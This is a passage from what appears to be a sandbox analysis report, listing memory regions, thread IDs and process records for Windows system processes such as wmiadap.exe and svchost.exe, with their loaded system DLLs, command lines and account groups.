	              id = 2493
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdb9efff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2494
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2495
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2496
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2497
	        start_va = 0x7fefee30000
	          end_va = 0x7fefee7cfff
	     entry_point = 0x7fefee30000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2498
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2499
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2500
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2501
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2502
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2503
	        start_va = 0x7feff640000
	          end_va = 0x7feff6b0fff
	     entry_point = 0x7feff640000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2504
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2505
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2506
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2507
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2508
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2509
	        start_va = 0x7feffec0000
	          end_va = 0x7feffec7fff
	     entry_point = 0x7feffec0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2510
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2511
	        start_va = 0x7fffff9a000
	          end_va = 0x7fffff9bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9a000"
	        filename = ""

Region:
	              id = 2512
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 2513
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 2514
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 2515
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 2516
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 2517
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 2518
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2519
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2520
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2521
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""

Region:
	              id = 2522
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 2523
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2524
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2525
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""


Thread:
	id = 183
	os_tid = 0x8ac


Thread:
	id = 184
	os_tid = 0x9e8


Thread:
	id = 185
	os_tid = 0x980


Thread:
	id = 186
	os_tid = 0x8d4


Thread:
	id = 187
	os_tid = 0x368


Thread:
	id = 188
	os_tid = 0x458


Thread:
	id = 189
	os_tid = 0x424


Thread:
	id = 190
	os_tid = 0x7b4


Thread:
	id = 191
	os_tid = 0x7a8


Thread:
	id = 192
	os_tid = 0x7a4


Thread:
	id = 193
	os_tid = 0x174


Thread:
	id = 194
	os_tid = 0x178


Thread:
	id = 195
	os_tid = 0x130


Thread:
	id = 196
	os_tid = 0x118


Thread:
	id = 207
	os_tid = 0x984


Thread:
	id = 209
	os_tid = 0xa74


Thread:
	id = 211
	os_tid = 0x840


Thread:
	id = 212
	os_tid = 0x3f8


Thread:
	id = 213
	os_tid = 0x524


Thread:
	id = 214
	os_tid = 0x674


Thread:
	id = 215
	os_tid = 0x5fc


Thread:
	id = 216
	os_tid = 0x990


Thread:
	id = 217
	os_tid = 0x114


Thread:
	id = 218
	os_tid = 0x7fc


Thread:
	id = 240
	os_tid = 0xa10


Thread:
	id = 241
	os_tid = 0xa5c


Thread:
	id = 242
	os_tid = 0xb4c


Thread:
	id = 243
	os_tid = 0xb44


Thread:
	id = 244
	os_tid = 0xac8


Thread:
	id = 247
	os_tid = 0xb64


Thread:
	id = 251
	os_tid = 0xaec


Thread:
	id = 321
	os_tid = 0x460


Process:
	id = "24"
	image_name = "wmiadap.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiadap.exe"
	page_root = "0x2a239000"
	os_pid = "0xa6c"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x36c"
	cmd_line = "wmiadap.exe /F /T /R"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 2816
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 2817
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2818
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 2819
	        start_va = 0x1f0000
	          end_va = 0x26ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001f0000"
	        filename = ""

Region:
	              id = 2820
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2821
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2822
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2823
	        start_va = 0xffe70000
	          end_va = 0xffe9ffff
	     entry_point = 0xffe70000
	     region_type = mapped_file
	            name = "wmiadap.exe"
	        filename = "\\Windows\\System32\\wbem\\WMIADAP.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiadap.exe")

Region:
	              id = 2824
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2825
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2826
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 2827
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 2828
	        start_va = 0x450000
	          end_va = 0x54ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000450000"
	        filename = ""

Region:
	              id = 2829
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2830
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2831
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2832
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 2833
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2834
	        start_va = 0xc0000
	          end_va = 0x17ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2835
	        start_va = 0x180000
	          end_va = 0x181fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000180000"
	        filename = ""

Region:
	              id = 2836
	        start_va = 0x190000
	          end_va = 0x190fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000190000"
	        filename = ""

Region:
	              id = 2837
	        start_va = 0x1a0000
	          end_va = 0x1affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001a0000"
	        filename = ""

Region:
	              id = 2838
	        start_va = 0x1b0000
	          end_va = 0x1b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001b0000"
	        filename = ""

Region:
	              id = 2839
	        start_va = 0x270000
	          end_va = 0x36ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000270000"
	        filename = ""

Region:
	              id = 2840
	        start_va = 0x550000
	          end_va = 0x6d7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000550000"
	        filename = ""

Region:
	              id = 2841
	        start_va = 0x6e0000
	          end_va = 0x860fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006e0000"
	        filename = ""

Region:
	              id = 2842
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2843
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2844
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2845
	        start_va = 0x7fef9240000
	          end_va = 0x7fef9266fff
	     entry_point = 0x7fef9240000
	     region_type = mapped_file
	            name = "loadperf.dll"
	        filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll")

Region:
	              id = 2846
	        start_va = 0x7fefbcd0000
	          end_va = 0x7fefbd55fff
	     entry_point = 0x7fefbcd0000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 2847
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2848
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2849
	        start_va = 0x7fefee30000
	          end_va = 0x7fefee7cfff
	     entry_point = 0x7fefee30000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2850
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2851
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2852
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2853
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2854
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2855
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2856
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2857
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2858
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2859
	        start_va = 0x7feffec0000
	          end_va = 0x7feffec7fff
	     entry_point = 0x7feffec0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2860
	        start_va = 0x1c0000
	          end_va = 0x1c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001c0000"
	        filename = ""

Region:
	              id = 2861
	        start_va = 0x1d0000
	          end_va = 0x1d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001d0000"
	        filename = ""

Region:
	              id = 2862
	        start_va = 0x390000
	          end_va = 0x40ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000390000"
	        filename = ""

Region:
	              id = 2863
	        start_va = 0x890000
	          end_va = 0x90ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000890000"
	        filename = ""

Region:
	              id = 2864
	        start_va = 0x970000
	          end_va = 0x9effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000970000"
	        filename = ""

Region:
	              id = 2865
	        start_va = 0xa30000
	          end_va = 0xaaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000a30000"
	        filename = ""

Region:
	              id = 2866
	        start_va = 0xb20000
	          end_va = 0xb9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000b20000"
	        filename = ""

Region:
	              id = 2867
	        start_va = 0xc30000
	          end_va = 0xcaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c30000"
	        filename = ""

Region:
	              id = 2868
	        start_va = 0xcb0000
	          end_va = 0xf7efff
	     entry_point = 0xcb0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2869
	        start_va = 0x7fef5e10000
	          end_va = 0x7fef5e23fff
	     entry_point = 0x7fef5e10000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 2870
	        start_va = 0x7fef6370000
	          end_va = 0x7fef6396fff
	     entry_point = 0x7fef6370000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 2871
	        start_va = 0x7fef63a0000
	          end_va = 0x7fef6481fff
	     entry_point = 0x7fef63a0000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 2872
	        start_va = 0x7fefbf00000
	          end_va = 0x7fefbf0efff
	     entry_point = 0x7fefbf00000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 2873
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2874
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2875
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2876
	        start_va = 0x7fefdb70000
	          end_va = 0x7fefdb83fff
	     entry_point = 0x7fefdb70000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2877
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2878
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 2879
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 2880
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 2881
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 2882
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""


Thread:
	id = 262
	os_tid = 0x594


Thread:
	id = 263
	os_tid = 0x52c


Thread:
	id = 264
	os_tid = 0x35c


Thread:
	id = 265
	os_tid = 0x510


Thread:
	id = 266
	os_tid = 0xb80


Thread:
	id = 267
	os_tid = 0xb7c


Process:
	id = "25"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x9e4d000"
	os_pid = "0x2cc"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "2"
	os_parent_pid = "0x36c"
	cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bb5d" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 2883
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2884
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 2885
	        start_va = 0x30000
	          end_va = 0xaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 2886
	        start_va = 0xb0000
	          end_va = 0xb3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000b0000"
	        filename = ""

Region:
	              id = 2887
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2888
	        start_va = 0xd0000
	          end_va = 0x136fff
	     entry_point = 0xd0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2889
	        start_va = 0x140000
	          end_va = 0x141fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 2890
	        start_va = 0x150000
	          end_va = 0x150fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000150000"
	        filename = ""

Region:
	              id = 2891
	        start_va = 0x160000
	          end_va = 0x160fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000160000"
	        filename = ""

Region:
	              id = 2892
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000170000"
	        filename = ""

Region:
	              id = 2893
	        start_va = 0x180000
	          end_va = 0x27ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 2894
